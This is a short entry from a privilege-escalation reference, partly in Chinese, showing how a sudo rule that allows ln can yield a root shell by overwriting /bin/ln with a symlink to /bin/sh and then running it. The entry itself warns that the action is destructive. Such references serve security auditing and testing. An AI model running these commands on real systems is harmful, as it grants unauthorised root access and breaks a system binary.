ln itself with a symlink to a shell (or any other executable) that is to be executed as root, useful in case a sudo rule allows to only run ln by path. Warning, this is a destructive action. 如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo ln -fs /bin/sh /bin/ln
sudo ln